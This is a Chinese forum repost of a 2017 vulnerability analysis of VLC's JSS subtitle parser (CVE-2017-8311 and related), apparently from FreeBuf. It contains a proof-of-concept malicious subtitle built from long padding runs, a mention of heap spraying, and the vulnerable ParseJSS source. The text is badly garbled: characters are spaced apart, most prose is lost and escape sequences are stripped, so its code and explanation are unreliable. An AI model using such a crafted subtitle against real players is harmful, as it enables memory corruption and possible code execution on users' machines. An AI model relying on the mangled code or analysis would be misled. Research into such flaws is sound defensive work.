[11524] 2017-07-03_VLC播放器加载恶意字幕文件导致执行任意代码漏洞分析与POC实现

文档创建者:s7ckTeam
浏览次数:15
最后更新:2025-01-18
2017-07-03_VLC播放器加载恶意字幕文件导致执行任意代码漏洞分析与POC实现 V L C P O C n e k o n e k o w   F r e e B u f   2 0 1 7 - 0 7 - 0 3 5 2 3 c h e c k p o i n t v l c * * c h e c k p o i n t * * 1 .   c h e c k p o i n t C h e c k p o i n t V L C   P a r s e J S S   N u l l   S k i p   S u b t i t l e   R e m o t e   C o d e   E x e c u t i o n h t t p : / / b l o g . c h e c k p o i n t . c o m / 2 0 1 7 / 0 5 / 2 3 / h a c k e d - i n - t r a n s l a t i o n / c v e > h t t p s : / / t h r e a t p o s t . c o m / s u b t i t l e - h a c k - l e a v e s - 2 0 0 - m i l l i o n - v u l n e r a b l e - t o - r e m o t e - c o d e - e x e c u t i o n / 1 2 5 8 6 8 / C V E h t t p s : / / n v d . n i s t . g o v / v u l n / d e t a i l / C V E - 2 0 1 7 - 8 3 1 3 h t t p s : / / n v d . n i s t . g o v / v u l n / d e t a i l / C V E - 2 0 1 7 - 8 3 1 2 h t t p s : / / n v d . n i s t . g o v / v u l n / d e t a i l / C V E - 2 0 1 7 - 8 3 1 1 p a t c h c v e v l c 2 . 2 . 4 3 2 b i t   r e l e a s e v l c 便 2 .   P a r s e J S S o u t - o f - b o u n d s   w r i t e w r i t e o s h e a p w r i t e   w h a t   w h e r e h e a p h e a p h e a p F I L E h e a p o u t - o f - b o u n d s   w r i t e C V E - 2 0 1 7 - 8 3 1 3
c v e 0 o u t - o f - b o u n d s r e a d p a t c h p a t c h c h e c k p o i n t V L C   P a r s e J S S   N u l l   S k i p   S u b t i t l e   R e m o t e   C o d e   E x e c u t i o n o u t - o f - b o u n d s   r e a d S E H C V E - 2 0 1 7 - 8 3 1 2 c v e o u t - o f - b o u n d s   r e a d p a t c h s h i f t
C V E - 2 0 1 7 - 8 3 1 1 c v e p a t c h s w i t c h c a s e   : p s z _ t e x t s w i t c h b r e a k p s z _ t e x t + + ; 3 * ( p s z _ t e x t   +   2 )   = = 0 0 0 e f g p s z _ t e x t h e a p   s p r a y i n g 1 2 1 2 0 3 .   p o c p o c j s s a b c d 0   e f g B B B B B B B B B B B B B B B a a a a a a a a a a a 0 B B B B 0 : 0 : 0 . 0   0 : 0 : 0 0 : 0 : 0 . 0   0 : 0 : 0 . 0   [   B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B B 0 : 0 : 0 . 0   0 : 0 : 0 . 0   [   a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a C
4 . P a r s e J S S 便 便 s t a t i c   i n t   P a r s e J S S (   d e m u x _ t   * p _ d e m u x ,   s u b t i t l e _ t   * p _ s u b t i t l e ,   i n t   i _ i d x   ) {         V L C _ U N U S E D (   i _ i d x   ) ;         d e m u x _ s y s _ t     * p _ s y s   =   p _ d e m u x - > p _ s y s ;         t e x t _ t               * t x t   =   & p _ s y s - > t x t ;         c h a r                   * p s z _ t e x t ,   * p s z _ o r i g ;         c h a r                   * p s z _ t e x t 2 ,   * p s z _ o r i g 2 ;         i n t   h 1 ,   h 2 ,   m 1 ,   m 2 ,   s 1 ,   s 2 ,   f 1 ,   f 2 ;         i f (   ! p _ s y s - > j s s . b _ i n i t e d   )         {                 p _ s y s - > j s s . i _ c o m m e n t   =   0 ;                 p _ s y s - > j s s . i _ t i m e _ r e s o l u t i o n   =   3 0 ;                 p _ s y s - > j s s . i _ t i m e _ s h i f t   =   0 ;                 p _ s y s - > j s s . b _ i n i t e d   =   t r u e ;         }         / *   P a r s e   t h e   m a i n   l i n e s   * /         f o r (   ; ;   )         {                 c o n s t   c h a r   * s   =   T e x t G e t L i n e (   t x t   ) ;                 i f (   ! s   )                         r e t u r n   V L C _ E G E N E R I C ;                 p s z _ o r i g   =   m a l l o c (   s t r l e n (   s   )   +   1   ) ;                 i f (   ! p s z _ o r i g   )                         r e t u r n   V L C _ E N O M E M ;                 p s z _ t e x t   =   p s z _ o r i g ;                 / *   C o m p l e t e   t i m e   l i n e s   * /                 i f (   s s c a n f (   s ,   " % d : % d : % d . % d   % d : % d : % d . % d   % [ ^ n r ] " ,                                         & h 1 ,   & m 1 ,   & s 1 ,   & f 1 ,   & h 2 ,   & m 2 ,   & s 2 ,   & f 2 ,   p s z _ t e x t   )   = =   9   )                 {                         p _ s u b t i t l e - > i _ s t a r t   =   (   ( i n t 6 4 _ t ) (   h 1   * 3 6 0 0   +   m 1   *   6 0   +   s 1   )   +                                 ( i n t 6 4 _ t ) (   (   f 1   +     p _ s y s - > j s s . i _ t i m e _ s h i f t   )   /     p _ s y s - > j s s . i _ t i m e _ r e s o l u t i o n   )   )                                 *   1 0 0 0 0 0 0 ;                         p _ s u b t i t l e - > i _ s t o p   =   (   ( i n t 6 4 _ t ) (   h 2   * 3 6 0 0   +   m 2   *   6 0   +   s 2   )   +                                 ( i n t 6 4 _ t ) (   (   f 2   +     p _ s y s - > j s s . i _ t i m e _ s h i f t   )   /     p _ s y s - > j s s . i _ t i m e _ r e s o l u t i o n   )   )                                 *   1 0 0 0 0 0 0 ;                         b r e a k ;                 }                 / *   S h o r t   t i m e   l i n e s   * /                 e l s e   i f (   s s c a n f (   s ,   " @ % d   @ % d   % [ ^ n r ] " ,   & f 1 ,   & f 2 ,   p s z _ t e x t   )   = =   3   )                 {                         p _ s u b t i t l e - > i _ s t a r t   =   ( i n t 6 4 _ t ) (                                         (   f 1   +   p _ s y s - > j s s . i _ t i m e _ s h i f t   )   /   p _ s y s - > j s s . i _ t i m e _ r e s o l u t i o n   *   1 0 0 0 0 0 0 . 0   ) ;                         p _ s u b t i t l e - > i _ s t o p   =   ( i n t 6 4 _ t ) (                                         (   f 2   +   p _ s y s - > j s s . i _ t i m e _ s h i f t   )   /   p _ s y s - > j s s . i _ t i m e _ r e s o l u t i o n   *   1 0 0 0 0 0 0 . 0   ) ;                         b r e a k ;                 }                 / *   G e n e r a l   D i r e c t i v e   l i n e s   * /                 / *   O n l y   T I M E   a n d   S H I F T   a r e   s u p p o r t e d   s o   f a r   * /                 e l s e   i f (   s [ 0 ]   = =   ' # '   )                 {                         i n t   h   =   0 ,   m   = 0 ,   s e c   =   1 ,   f   =   1 ;
                        i n t   h   =   0 ,   m   = 0 ,   s e c   =   1 ,   f   =   1 ;                         u n s i g n e d   s h i f t   =   1 ;                         i n t   i n v   =   1 ;                         s t r c p y (   p s z _ t e x t ,   s   ) ;                         s w i t c h (   t o u p p e r (   ( u n s i g n e d   c h a r ) p s z _ t e x t [ 1 ]   )   )                         {                         c a s e   ' S ' :                                   s h i f t   =   i s a l p h a (   ( u n s i g n e d   c h a r ) p s z _ t e x t [ 2 ]   )   ?   6   :   2   ;                                   i f (   s s c a n f (   & p s z _ t e x t [ s h i f t ] ,   " % d " ,   & h   )   )                                   {                                           / *   N e g a t i v e   s h i f t i n g   * /                                           i f (   h   <   0   )                                           {                                                   h   * =   - 1 ;                                                   i n v   =   - 1 ;                                           }                                           i f (   s s c a n f (   & p s z _ t e x t [ s h i f t ] ,   " % * d : % d " ,   & m   )   )                                           {                                                   i f (   s s c a n f (   & p s z _ t e x t [ s h i f t ] ,   " % * d : % * d : % d " ,   & s e c   )   )                                                   {                                                           s s c a n f (   & p s z _ t e x t [ s h i f t ] ,   " % * d : % * d : % * d . % d " ,   & f   ) ;                                                   }                                                   e l s e                                                   {                                                           h   =   0 ;                                                           s s c a n f (   & p s z _ t e x t [ s h i f t ] ,   " % d : % d . % d " ,                                                                           & m ,   & s e c ,   & f   ) ;                                                           m   * =   i n v ;                                                   }                                           }                                           e l s e                                           {                                                   h   =   m   =   0 ;                                                   s s c a n f (   & p s z _ t e x t [ s h i f t ] ,   " % d . % d " ,   & s e c ,   & f ) ;                                                   s e c   * =   i n v ;                                           }                                           p _ s y s - > j s s . i _ t i m e _ s h i f t   =   (   (   h   *   3 6 0 0   +   m   *   6 0   +   s e c   )                                                   *   p _ s y s - > j s s . i _ t i m e _ r e s o l u t i o n   +   f   )   *   i n v ;                                   }                                   b r e a k ;                         c a s e   ' T ' :                                 s h i f t   =   i s a l p h a (   ( u n s i g n e d   c h a r ) p s z _ t e x t [ 2 ]   )   ?   8   :   2   ;                                 s s c a n f (   & p s z _ t e x t [ s h i f t ] ,   " % d " ,   & p _ s y s - > j s s . i _ t i m e _ r e s o l u t i o n   ) ;                                 b r e a k ;                         }                         f r e e (   p s z _ o r i g   ) ;                         c o n t i n u e ;                 }                 e l s e                         / *   U n k o w n   t y p e   l i n e ,   p r o b a b l y   a   c o m m e n t   * /                 {                         f r e e (   p s z _ o r i g   ) ;                         c o n t i n u e ;                 }         }         w h i l e (   p s z _ t e x t [   s t r l e n (   p s z _ t e x t   )   -   1   ]   = =   ' '   )         {                 c o n s t   c h a r   * s 2   =   T e x t G e t L i n e (   t x t   ) ;                 i f (   ! s 2   )                 {                         f r e e (   p s z _ o r i g   ) ;                         r e t u r n   V L C _ E G E N E R I C ;                 }                 i n t   i _ l e n   =   s t r l e n (   s 2   ) ;                 i f (   i _ l e n   = =   0   )                         b r e a k ;                 i n t   i _ o l d   =   s t r l e n (   p s z _ t e x t   ) ;                 p s z _ t e x t   =   r e a l l o c _ o r _ f r e e (   p s z _ t e x t ,   i _ o l d   +   i _ l e n   +   1   ) ;                 i f (   ! p s z _ t e x t   )                           r e t u r n   V L C _ E N O M E M ;                 p s z _ o r i g   =   p s z _ t e x t ;                 s t r c a t (   p s z _ t e x t ,   s 2   ) ;         }         / *   S k i p   t h e   b l a n k s   * /         w h i l e (   * p s z _ t e x t   = =   '   '   | |   * p s z _ t e x t   = =   ' t '   )   p s z _ t e x t + + ;
        / *   P a r s e   t h e   d i r e c t i v e s   * /         i f (   i s a l p h a (   ( u n s i g n e d   c h a r ) * p s z _ t e x t   )   | |   * p s z _ t e x t   = =   ' [ '   )         {                 w h i l e (   * p s z _ t e x t   ! =   '   '   )                 {   p s z _ t e x t + +   ; } ;                 / *   D i r e c t i v e s   a r e   N O T   p a r s e d   y e t   * /                 / *   T h i s   h a s   p r o b a b l y   a   b e t t e r   p l a c e   i n   a   d e c o d e r   ?   * /                 / *   d i r e c t i v e   =   m a l l o c (   s t r l e n (   p s z _ t e x t   )   +   1   ) ;                       i f (   s s c a n f (   p s z _ t e x t ,   " % s   % [ ^ n r ] " ,   d i r e c t i v e ,   p s z _ t e x t 2   )   = =   2   ) * /         }         / *   S k i p   t h e   b l a n k s   a f t e r   d i r e c t i v e s   * /         w h i l e (   * p s z _ t e x t   = =   '   '   | |   * p s z _ t e x t   = =   ' t '   )   p s z _ t e x t + + ;         / *   C l e a n   a l l   t h e   l i n e s   f r o m   i n l i n e   c o m m e n t s   a n d   o t h e r   s t u f f s   * /         p s z _ o r i g 2   =   c a l l o c (   s t r l e n (   p s z _ t e x t )   +   1 ,   1   ) ;         p s z _ t e x t 2   =   p s z _ o r i g 2 ;         f o r (   ;   * p s z _ t e x t   ! =   ' 0 '   & &   * p s z _ t e x t   ! =   ' n '   & &   * p s z _ t e x t   ! =   ' r ' ;   )         {                 s w i t c h (   * p s z _ t e x t   )                 {                 c a s e   ' { ' :                         p _ s y s - > j s s . i _ c o m m e n t + + ;                         b r e a k ;                 c a s e   ' } ' :                         i f (   p _ s y s - > j s s . i _ c o m m e n t   )                         {                                 p _ s y s - > j s s . i _ c o m m e n t   =   0 ;                                 i f (   ( * ( p s z _ t e x t   +   1   )   )   = =   '   '   )   p s z _ t e x t + + ;                         }                         b r e a k ;                 c a s e   ' ~ ' :                         i f (   ! p _ s y s - > j s s . i _ c o m m e n t   )                         {                                 * p s z _ t e x t 2   =   '   ' ;                                 p s z _ t e x t 2 + + ;                         }                         b r e a k ;                 c a s e   '   ' :                 c a s e   ' t ' :                         i f (   ( * ( p s z _ t e x t   +   1   )   )   = =   '   '   | |   ( * ( p s z _ t e x t   +   1   )   )   = =   ' t '   )                                 b r e a k ;                         i f (   ! p _ s y s - > j s s . i _ c o m m e n t   )                         {                                 * p s z _ t e x t 2   =   '   ' ;                                 p s z _ t e x t 2 + + ;                         }                         b r e a k ;                 c a s e   ' ' :                         i f (   ( * ( p s z _ t e x t   +   1   )   )   = =   ' n '   )                         {                                 * p s z _ t e x t 2   =   ' n ' ;                                 p s z _ t e x t + + ;                                 p s z _ t e x t 2 + + ;                                 b r e a k ;                         }                         i f (   (   t o u p p e r ( ( u n s i g n e d   c h a r ) * ( p s z _ t e x t   +   1   )   )   = =   ' C '   )   | |                                         (   t o u p p e r ( ( u n s i g n e d   c h a r ) * ( p s z _ t e x t   +   1   )   )   = =   ' F '   )   )                         {                                 p s z _ t e x t + + ;   p s z _ t e x t + + ;                                 b r e a k ;                         }                         i f (   ( * ( p s z _ t e x t   +   1   )   )   = =   ' B '   | |   ( * ( p s z _ t e x t   +   1   )   )   = =   ' b '   | |                                 ( * ( p s z _ t e x t   +   1   )   )   = =   ' I '   | |   ( * ( p s z _ t e x t   +   1   )   )   = =   ' i '   | |                                 ( * ( p s z _ t e x t   +   1   )   )   = =   ' U '   | |   ( * ( p s z _ t e x t   +   1   )   )   = =   ' u '   | |                                 ( * ( p s z _ t e x t   +   1   )   )   = =   ' D '   | |   ( * ( p s z _ t e x t   +   1   )   )   = =   ' N '   )                         {                                 p s z _ t e x t + + ;                                 b r e a k ;                         }                         i f (   ( * ( p s z _ t e x t   +   1   )   )   = =   ' ~ '   | |   ( * ( p s z _ t e x t   +   1   )   )   = =   ' { '   | |                                 ( * ( p s z _ t e x t   +   1   )   )   = =   ' '   )                                 p s z _ t e x t + + ;                         e l s e   i f (   * ( p s z _ t e x t   +   1   )   = =   ' r '   | |     * ( p s z _ t e x t   +   1   )   = =   ' n '   | |                                           * ( p s z _ t e x t   +   1   )   = =   ' 0 '   )                         {                                 p s z _ t e x t + + ;                         }                         b r e a k ;                 d e f a u l t :                         i f (   ! p _ s y s - > j s s . i _ c o m m e n t   )                         {                                 * p s z _ t e x t 2   =   * p s z _ t e x t ;                                 p s z _ t e x t 2 + + ;                         }
* n e k o n e k o w F r e e B u f . C O M                         }                 }                 p s z _ t e x t + + ;         }         p _ s u b t i t l e - > p s z _ t e x t   =   p s z _ o r i g 2 ;         m s g _ D b g (   p _ d e m u x ,   " % s " ,   p _ s u b t i t l e - > p s z _ t e x t   ) ;         f r e e (   p s z _ o r i g   ) ;         r e t u r n   V L C _ S U C C E S S ; }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则